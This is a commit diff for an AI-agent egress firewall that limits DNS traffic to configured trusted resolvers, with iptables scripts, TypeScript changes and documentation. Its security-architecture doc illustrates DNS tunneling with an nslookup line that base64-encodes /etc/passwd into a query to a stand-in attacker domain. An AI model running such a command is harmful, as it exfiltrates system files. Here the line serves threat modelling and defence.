Skip to content

Commit 585bada

Browse files
MossakaCopilot
andauthored
feat(cli): restrict dns traffic to trusted servers only (#68)
* feat(security): restrict dns traffic to trusted servers only Addresses DNS-based data exfiltration vulnerability where DNS traffic (port 53) was allowed to ANY destination, enabling attackers to encode sensitive data in DNS queries to malicious DNS servers. Signed-off-by: Jiaxiao (mossaka) Zhou <[email protected]> * fix: address ipv6 validation and filtering review comments (#69) * Initial plan * fix: address pr review comments for ipv6 validation and filtering Co-authored-by: Mossaka <[email protected]> * fix: improve ipv6 chain comments for clarity Co-authored-by: Mossaka <[email protected]> * fix: add icmpv6 rules and ipv6 validation tests Co-authored-by: Mossaka <[email protected]> --------- Co-authored-by: copilot-swe-agent[bot] <[email protected]> Co-authored-by: Mossaka <[email protected]> * fix: add ip6tables availability checks for robustness (#77) * Initial plan * fix: add ip6tables availability checks for robustness Co-authored-by: Mossaka <[email protected]> * fix: address code review feedback for ip6tables checks Co-authored-by: Mossaka <[email protected]> --------- Co-authored-by: copilot-swe-agent[bot] <[email protected]> Co-authored-by: Mossaka <[email protected]> --------- Signed-off-by: Jiaxiao (mossaka) Zhou <[email protected]> Co-authored-by: Copilot <[email protected]> Co-authored-by: Mossaka <[email protected]>
1 parent 4862894 commit 585bada

File tree

14 files changed

+812
-107
lines changed

14 files changed

+812
-107
lines changed

CLAUDE.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -223,6 +223,27 @@ Containers stopped, temporary files cleaned up
223223
- `.github.com` → matches all subdomains
224224
- Squid denies any domain not in the allowlist
225225

226+
## DNS Configuration
227+
228+
DNS traffic is restricted to trusted DNS servers only to prevent DNS-based data exfiltration:
229+
230+
- **CLI Option**: `--dns-servers <servers>` (comma-separated list of IP addresses)
231+
- **Default**: Google DNS (`8.8.8.8,8.8.4.4`)
232+
- **IPv6 Support**: Both IPv4 and IPv6 DNS servers are supported
233+
- **Docker DNS**: `127.0.0.11` is always allowed for container name resolution
234+
235+
**Implementation**:
236+
- Host-level iptables (`src/host-iptables.ts`): DNS traffic to non-whitelisted servers is blocked
237+
- Container NAT rules (`containers/agent/setup-iptables.sh`): Reads from `AWF_DNS_SERVERS` env var
238+
- Container DNS config (`containers/agent/entrypoint.sh`): Configures `/etc/resolv.conf`
239+
- Docker Compose (`src/docker-manager.ts`): Sets container `dns:` config and `AWF_DNS_SERVERS` env var
240+
241+
**Example**:
242+
```bash
243+
# Use Cloudflare DNS instead of Google DNS
244+
sudo awf --allow-domains github.com --dns-servers 1.1.1.1,1.0.0.1 -- curl https://api.github.com
245+
```
246+
226247
## Exit Code Handling
227248

228249
The wrapper propagates the exit code from the agent container:

README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -116,8 +116,21 @@ sudo awf \
116116
### What This Protects Against
117117
- Unauthorized egress to non-whitelisted domains
118118
- Data exfiltration via HTTP/HTTPS
119+
- DNS-based data exfiltration to unauthorized DNS servers
119120
- MCP servers accessing unexpected endpoints
120121

122+
### DNS Server Restriction
123+
124+
DNS traffic is restricted to trusted servers only (default: Google DNS 8.8.8.8, 8.8.4.4). This prevents DNS-based data exfiltration attacks where an attacker encodes data in DNS queries to a malicious DNS server.
125+
126+
```bash
127+
# Use custom DNS servers
128+
sudo awf \
129+
--allow-domains github.com \
130+
--dns-servers 1.1.1.1,1.0.0.1 \
131+
-- curl https://api.github.com
132+
```
133+
121134
## Development & Testing
122135

123136
### Running Tests

containers/agent/entrypoint.sh

Lines changed: 24 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -6,24 +6,35 @@ echo "[entrypoint] =================================="
66

77
# Fix DNS configuration - ensure external DNS works alongside Docker's embedded DNS
88
# Docker's embedded DNS (127.0.0.11) is used for service name resolution (e.g., squid-proxy)
9-
# External DNS servers (8.8.8.8, 8.8.4.4) are used for internet domain resolution
9+
# Trusted external DNS servers are used for internet domain resolution
1010
echo "[entrypoint] Configuring DNS..."
1111
if [ -f /etc/resolv.conf ]; then
1212
# Backup original resolv.conf
1313
cp /etc/resolv.conf /etc/resolv.conf.orig
1414

15-
# Create new resolv.conf with both Docker embedded DNS and external DNS
16-
# Docker's embedded DNS comes first for service discovery
17-
cat > /etc/resolv.conf << EOF
18-
# Generated by awf entrypoint
19-
# Docker embedded DNS for service name resolution (squid-proxy, etc.)
20-
nameserver 127.0.0.11
21-
# External DNS servers for internet domain resolution
22-
nameserver 8.8.8.8
23-
nameserver 8.8.4.4
24-
options ndots:0
25-
EOF
26-
echo "[entrypoint] DNS configured with Docker embedded DNS (127.0.0.11) and external DNS (8.8.8.8, 8.8.4.4)"
15+
# Get DNS servers from environment (default to Google DNS)
16+
DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}"
17+
18+
# Create new resolv.conf with Docker embedded DNS first, then trusted external DNS servers
19+
{
20+
echo "# Generated by awf entrypoint"
21+
echo "# Docker embedded DNS for service name resolution (squid-proxy, etc.)"
22+
echo "nameserver 127.0.0.11"
23+
echo "# Trusted external DNS servers for internet domain resolution"
24+
25+
# Add each trusted DNS server
26+
IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS"
27+
for dns_server in "${DNS_ARRAY[@]}"; do
28+
dns_server=$(echo "$dns_server" | tr -d ' ')
29+
if [ -n "$dns_server" ]; then
30+
echo "nameserver $dns_server"
31+
fi
32+
done
33+
34+
echo "options ndots:0"
35+
} > /etc/resolv.conf
36+
37+
echo "[entrypoint] DNS configured with Docker embedded DNS (127.0.0.11) and trusted servers: $DNS_SERVERS"
2738
fi
2839

2940
# Setup Docker socket permissions if Docker socket is mounted

containers/agent/setup-iptables.sh

Lines changed: 98 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,31 @@ set -e
44
echo "[iptables] Setting up NAT redirection to Squid proxy..."
55
echo "[iptables] NOTE: Host-level DOCKER-USER chain handles egress filtering for all containers on this network"
66

7+
# Function to check if an IP address is IPv6
8+
is_ipv6() {
9+
local ip="$1"
10+
# Check if it contains a colon (IPv6 addresses always contain colons)
11+
[[ "$ip" == *:* ]]
12+
}
13+
14+
# Function to check if ip6tables is available and functional
15+
has_ip6tables() {
16+
if command -v ip6tables &>/dev/null && ip6tables -L -n &>/dev/null; then
17+
return 0
18+
else
19+
return 1
20+
fi
21+
}
22+
23+
# Check ip6tables availability once at the start
24+
IP6TABLES_AVAILABLE=false
25+
if has_ip6tables; then
26+
IP6TABLES_AVAILABLE=true
27+
echo "[iptables] ip6tables is available"
28+
else
29+
echo "[iptables] WARNING: ip6tables is not available, IPv6 rules will be skipped"
30+
fi
31+
732
# Get Squid proxy configuration from environment
833
SQUID_HOST="${SQUID_PROXY_HOST:-squid-proxy}"
934
SQUID_PORT="${SQUID_PROXY_PORT:-3128}"
@@ -18,36 +43,97 @@ if [ -z "$SQUID_IP" ]; then
1843
fi
1944
echo "[iptables] Squid IP resolved to: $SQUID_IP"
2045

21-
# Clear existing NAT rules
46+
# Clear existing NAT rules (both IPv4 and IPv6)
2247
iptables -t nat -F OUTPUT 2>/dev/null || true
48+
if [ "$IP6TABLES_AVAILABLE" = true ]; then
49+
ip6tables -t nat -F OUTPUT 2>/dev/null || true
50+
fi
2351

2452
# Allow localhost traffic (for stdio MCP servers)
2553
echo "[iptables] Allow localhost traffic..."
2654
iptables -t nat -A OUTPUT -o lo -j RETURN
2755
iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN
56+
if [ "$IP6TABLES_AVAILABLE" = true ]; then
57+
ip6tables -t nat -A OUTPUT -o lo -j RETURN
58+
ip6tables -t nat -A OUTPUT -d ::1/128 -j RETURN
59+
fi
60+
61+
# Get DNS servers from environment (default to Google DNS)
62+
DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}"
63+
echo "[iptables] Configuring DNS rules for trusted servers: $DNS_SERVERS"
64+
65+
# Separate IPv4 and IPv6 DNS servers
66+
IPV4_DNS_SERVERS=()
67+
IPV6_DNS_SERVERS=()
68+
IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS"
69+
for dns_server in "${DNS_ARRAY[@]}"; do
70+
dns_server=$(echo "$dns_server" | tr -d ' ')
71+
if [ -n "$dns_server" ]; then
72+
if is_ipv6 "$dns_server"; then
73+
IPV6_DNS_SERVERS+=("$dns_server")
74+
else
75+
IPV4_DNS_SERVERS+=("$dns_server")
76+
fi
77+
fi
78+
done
2879

29-
# Allow DNS queries to any DNS server (including Docker's 127.0.0.11 and configured DNS servers)
30-
echo "[iptables] Allow DNS queries..."
31-
iptables -t nat -A OUTPUT -p udp --dport 53 -j RETURN
32-
iptables -t nat -A OUTPUT -p tcp --dport 53 -j RETURN
80+
echo "[iptables] IPv4 DNS servers: ${IPV4_DNS_SERVERS[*]:-none}"
81+
echo "[iptables] IPv6 DNS servers: ${IPV6_DNS_SERVERS[*]:-none}"
3382

34-
# Explicitly allow DNS servers configured in the container (8.8.8.8, 8.8.4.4)
35-
echo "[iptables] Allow traffic to DNS servers..."
36-
iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN
37-
iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN
83+
# Allow DNS queries ONLY to trusted IPv4 DNS servers (prevents DNS exfiltration)
84+
for dns_server in "${IPV4_DNS_SERVERS[@]}"; do
85+
echo "[iptables] Allow DNS to trusted IPv4 server: $dns_server"
86+
iptables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN
87+
iptables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN
88+
done
89+
90+
# Allow DNS queries ONLY to trusted IPv6 DNS servers
91+
if [ "$IP6TABLES_AVAILABLE" = true ]; then
92+
for dns_server in "${IPV6_DNS_SERVERS[@]}"; do
93+
echo "[iptables] Allow DNS to trusted IPv6 server: $dns_server"
94+
ip6tables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN
95+
ip6tables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN
96+
done
97+
elif [ ${#IPV6_DNS_SERVERS[@]} -gt 0 ]; then
98+
echo "[iptables] WARNING: IPv6 DNS servers configured but ip6tables not available"
99+
fi
100+
101+
# Allow DNS to Docker's embedded DNS server (127.0.0.11) for container name resolution
102+
echo "[iptables] Allow DNS to Docker embedded DNS (127.0.0.11)..."
103+
iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN
104+
iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN
105+
106+
# Allow return traffic to trusted IPv4 DNS servers
107+
echo "[iptables] Allow traffic to trusted DNS servers..."
108+
for dns_server in "${IPV4_DNS_SERVERS[@]}"; do
109+
iptables -t nat -A OUTPUT -d "$dns_server" -j RETURN
110+
done
111+
112+
# Allow return traffic to trusted IPv6 DNS servers
113+
if [ "$IP6TABLES_AVAILABLE" = true ]; then
114+
for dns_server in "${IPV6_DNS_SERVERS[@]}"; do
115+
ip6tables -t nat -A OUTPUT -d "$dns_server" -j RETURN
116+
done
117+
fi
38118

39119
# Allow traffic to Squid proxy itself
40120
echo "[iptables] Allow traffic to Squid proxy (${SQUID_IP}:${SQUID_PORT})..."
41121
iptables -t nat -A OUTPUT -d "$SQUID_IP" -j RETURN
42122

43-
# Redirect HTTP traffic to Squid
123+
# Redirect HTTP traffic to Squid (IPv4 only - Squid runs on IPv4)
44124
echo "[iptables] Redirect HTTP (port 80) to Squid..."
45125
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination "${SQUID_IP}:${SQUID_PORT}"
46126

47-
# Redirect HTTPS traffic to Squid
127+
# Redirect HTTPS traffic to Squid (IPv4 only - Squid runs on IPv4)
48128
echo "[iptables] Redirect HTTPS (port 443) to Squid..."
49129
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination "${SQUID_IP}:${SQUID_PORT}"
50130

51131
echo "[iptables] NAT rules applied successfully"
52-
echo "[iptables] Current NAT OUTPUT rules:"
132+
echo "[iptables] Current IPv4 NAT OUTPUT rules:"
53133
iptables -t nat -L OUTPUT -n -v
134+
if [ "$IP6TABLES_AVAILABLE" = true ]; then
135+
echo "[iptables] Current IPv6 NAT OUTPUT rules:"
136+
ip6tables -t nat -L OUTPUT -n -v
137+
else
138+
echo "[iptables] (ip6tables NAT not available)"
139+
fi

docs-site/src/content/docs/reference/cli-reference.md

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@ awf [options] -- <command>
3232
| `--env-all` | flag | `false` | Pass all host environment variables |
3333
| `-v, --mount <host:container[:mode]>` | string | `[]` | Volume mount (repeatable) |
3434
| `--container-workdir <dir>` | string | User home | Working directory inside container |
35+
| `--dns-servers <servers>` | string | `8.8.8.8,8.8.4.4` | Trusted DNS servers (comma-separated) |
3536
| `-V, --version` | flag || Display version |
3637
| `-h, --help` | flag || Display help |
3738

@@ -130,6 +131,22 @@ Mount host directories into container. Format: `host_path:container_path[:ro|rw]
130131

131132
Working directory inside the container.
132133

134+
### `--dns-servers <servers>`
135+
136+
Comma-separated list of trusted DNS servers. DNS traffic is **only** allowed to these servers, preventing DNS-based data exfiltration. Both IPv4 and IPv6 addresses are supported.
137+
138+
```bash
139+
# Use Cloudflare DNS
140+
--dns-servers 1.1.1.1,1.0.0.1
141+
142+
# Use Google DNS with IPv6
143+
--dns-servers 8.8.8.8,2001:4860:4860::8888
144+
```
145+
146+
:::note
147+
Docker's embedded DNS (127.0.0.11) is always allowed for container name resolution, regardless of this setting.
148+
:::
149+
133150
## Exit Codes
134151

135152
| Code | Description |

docs-site/src/content/docs/reference/security-architecture.md

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ This firewall solves a specific problem: **egress control for AI agents running
2222

2323
- **Full filesystem access**: Agents read and write files freely. If your threat model requires filesystem isolation, you need additional controls.
2424
- **Localhost communication**: Required for stdio-based MCP servers running alongside the agent.
25-
- **DNS resolution**: Agents can resolve any domain (though they can't connect to most).
25+
- **DNS to trusted servers only**: DNS queries are restricted to configured DNS servers (default: Google DNS). This prevents DNS-based data exfiltration to attacker-controlled DNS servers.
2626
- **Docker socket access**: The agent can spawn containers—we intercept and constrain them, but the capability exists.
2727

2828
---
@@ -157,12 +157,13 @@ The agent and its MCP servers see normal Docker behavior; they don't know their
157157
Even with docker-wrapper, we don't fully trust it—an agent could theoretically find the real Docker binary or exploit a wrapper bug. The DOCKER-USER chain provides a backstop:
158158

159159
```bash
160-
# Simplified rules (actual implementation in src/docker-manager.ts)
160+
# Simplified rules (actual implementation in src/host-iptables.ts)
161161
iptables -I DOCKER-USER -i awf-bridge -j FW_WRAPPER
162-
iptables -A FW_WRAPPER -s 172.30.0.10 -j ACCEPT # Squid: unrestricted
163-
iptables -A FW_WRAPPER -p udp --dport 53 -j ACCEPT # DNS allowed
164-
iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT # Traffic to proxy
165-
iptables -A FW_WRAPPER -j DROP # Everything else blocked
162+
iptables -A FW_WRAPPER -s 172.30.0.10 -j ACCEPT # Squid: unrestricted
163+
iptables -A FW_WRAPPER -p udp -d 8.8.8.8 --dport 53 -j ACCEPT # DNS to trusted server
164+
iptables -A FW_WRAPPER -p udp -d 8.8.4.4 --dport 53 -j ACCEPT # DNS to trusted server
165+
iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT # Traffic to proxy
166+
iptables -A FW_WRAPPER -j DROP # Everything else blocked
166167
```
167168

168169
Any container on `awf-net`—whether we created it or the agent spawned it—has its egress filtered. Traffic either goes through Squid or gets dropped.
@@ -227,17 +228,21 @@ Container joins `awf-net`, egress hits DOCKER-USER, routes through Squid, blocke
227228

228229
### DNS Tunneling
229230

230-
**Attack:** Agent encodes data in DNS queries to `data.attacker.com`:
231+
**Attack:** Agent encodes data in DNS queries to an attacker-controlled DNS server:
231232
```bash
232-
nslookup $(cat /etc/passwd | base64).attacker.com
233+
nslookup $(cat /etc/passwd | base64).attacker.com attacker-dns-server.com
233234
```
234235

235-
**Mitigation:** We allow DNS (UDP/53) because blocking it breaks everything. DNS tunneling is a known limitation. For high-security environments, consider:
236-
- Using a DNS proxy that filters by domain
237-
- Restricting DNS to specific resolvers
238-
- Monitoring DNS query logs for anomalies
236+
**Mitigation:** DNS traffic is restricted to trusted DNS servers only (configurable via `--dns-servers`, default: Google DNS 8.8.8.8, 8.8.4.4). Attempts to query arbitrary DNS servers are blocked at the iptables level.
239237

240-
This is outside our current scope but worth noting for threat models that include sophisticated attackers.
238+
```bash
239+
# The attacker's query to a rogue DNS server is blocked
240+
[FW_BLOCKED_UDP] SRC=172.30.0.20 DST=attacker-dns-server.com DPT=53
241+
```
242+
243+
:::note[Remaining risk]
244+
DNS tunneling through the *allowed* DNS servers (encoding data in query names to attacker-controlled domains) is still theoretically possible, as the trusted DNS server will recursively resolve any domain. For high-security environments, consider using a DNS filtering service or monitoring DNS query logs for anomalies.
245+
:::
241246

242247
---
243248

docs/environment.md

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,20 @@ sudo -E awf --allow-domains github.com 'copilot --prompt "..."'
5151
- Working with untrusted code
5252
- In production/CI environments
5353

54+
## Internal Environment Variables
55+
56+
The following environment variables are set internally by the firewall and used by container scripts:
57+
58+
| Variable | Description | Example |
59+
|----------|-------------|---------|
60+
| `AWF_DNS_SERVERS` | Comma-separated list of trusted DNS servers | `8.8.8.8,8.8.4.4` |
61+
| `HTTP_PROXY` | Squid proxy URL for HTTP traffic | `http://172.30.0.10:3128` |
62+
| `HTTPS_PROXY` | Squid proxy URL for HTTPS traffic | `http://172.30.0.10:3128` |
63+
| `SQUID_PROXY_HOST` | Squid container hostname | `squid-proxy` |
64+
| `SQUID_PROXY_PORT` | Squid proxy port | `3128` |
65+
66+
**Note:** These are set automatically based on CLI options and should not be overridden manually.
67+
5468
## Troubleshooting
5569

5670
**Variable not accessible:** Use `sudo -E` or pass explicitly with `--env VAR="$VAR"`

src/cli-workflow.ts

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ import { WrapperConfig } from './types';
22

33
export interface WorkflowDependencies {
44
ensureFirewallNetwork: () => Promise<{ squidIp: string }>;
5-
setupHostIptables: (squidIp: string, port: number) => Promise<void>;
5+
setupHostIptables: (squidIp: string, port: number, dnsServers: string[]) => Promise<void>;
66
writeConfigs: (config: WrapperConfig) => Promise<void>;
77
startContainers: (workDir: string, allowedDomains: string[]) => Promise<void>;
88
runAgentCommand: (
@@ -41,7 +41,8 @@ export async function runMainWorkflow(
4141
// Step 0: Setup host-level network and iptables
4242
logger.info('Setting up host-level firewall network and iptables rules...');
4343
const networkConfig = await dependencies.ensureFirewallNetwork();
44-
await dependencies.setupHostIptables(networkConfig.squidIp, 3128);
44+
const dnsServers = config.dnsServers || ['8.8.8.8', '8.8.4.4'];
45+
await dependencies.setupHostIptables(networkConfig.squidIp, 3128, dnsServers);
4546
onHostIptablesSetup?.();
4647

4748
// Step 1: Write configuration files

0 commit comments

Comments
 (0)